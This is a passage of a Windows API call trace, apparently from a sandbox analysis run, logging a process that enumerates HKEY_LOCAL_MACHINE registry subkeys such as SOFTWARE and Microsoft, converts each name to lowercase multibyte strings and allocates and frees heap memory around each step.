RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bca0) returned 1 [0169.057] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.057] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x115b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0169.057] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.057] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115bca0 [0169.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x115bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0169.057] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115bc58 [0169.057] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bca0) returned 1 [0169.057] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bc58) returned 1 [0169.057] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.057] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x115b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0169.057] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.057] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115bc58 [0169.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x115bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0169.057] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115bca0 [0169.058] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bc58) returned 1 [0169.058] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bca0) returned 1 [0169.058] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.058] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x35f438 | out: phkResult=0x35f438*=0xa0) returned 0x0 [0169.058] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x184) returned 0x115d040 [0169.058] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115bca0 [0169.058] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115bc58 [0169.058] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115bce8 [0169.058] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115bd30 [0169.058] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115bd78 [0169.058] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115bdc0 [0169.058] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115be08 [0169.058] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115be50 [0169.058] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115be98 [0169.058] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115bee0 [0169.058] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115bf28 [0169.058] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115bf70 [0169.058] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115bfb8 [0169.058] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c000 [0169.058] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c048 [0169.058] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c090 [0169.058] RegCloseKey (hKey=0x80000002) returned 0x0 [0169.058] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x115b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0169.058] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0169.058] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x115c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0169.058] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.058] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.058] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.058] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.058] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x115b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0169.058] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0169.059] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x115c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0169.059] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.059] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.059] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.059] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.059] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x115b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0169.059] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0169.059] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x115c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0169.059] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.059] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.059] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.059] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.059] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x115b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0169.059] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0169.059] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x115c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0169.059] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.059] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.059] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.059] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.059] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x115b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0169.059] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0169.059] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x115c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0169.059] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.059] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.059] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.059] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.059] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x5, lpName=0x115b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0169.060] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0169.060] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x115c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0169.060] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.060] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.060] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.060] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.060] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x6, lpName=0x115b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0169.060] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0169.060] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x115c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0169.060] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.060] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.060] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.060] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.060] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x35f438 | out: phkResult=0x35f438*=0x24) returned 0x0 [0169.060] RegCloseKey (hKey=0xa0) returned 0x0 [0169.060] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x115b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0169.060] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0169.060] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x115c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0169.060] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.060] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.060] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.060] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.060] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x115b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0169.060] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0169.060] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x115c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0169.061] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.061] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.061] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.062] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.062] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x115b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0169.062] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0169.062] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x115c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0169.062] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.063] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.063] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.063] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.063] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x115b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0169.063] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0169.063] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x115c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0169.063] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.063] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.063] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.063] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.063] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x115b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0169.063] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0169.063] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x115c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0169.063] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.063] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.063] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.063] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.063] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x115b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0169.063] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0169.063] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x115c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0169.063] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.063] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.063] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.063] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.063] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x115b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0169.063] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0169.063] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x115c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0169.064] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.064] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.064] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.064] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.064] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x115b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0169.064] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0169.064] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x115c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0169.064] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.064] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.064] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.064] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.064] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x115b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0169.064] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0169.064] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x115c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0169.064] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.064] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.064] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.064] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.064] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x115b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0169.064] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0169.064] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x115c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0169.064] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.064] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.064] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.064] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.064] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x115b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0169.064] RtlAllocateHeap (HeapHandle=0x1150000, 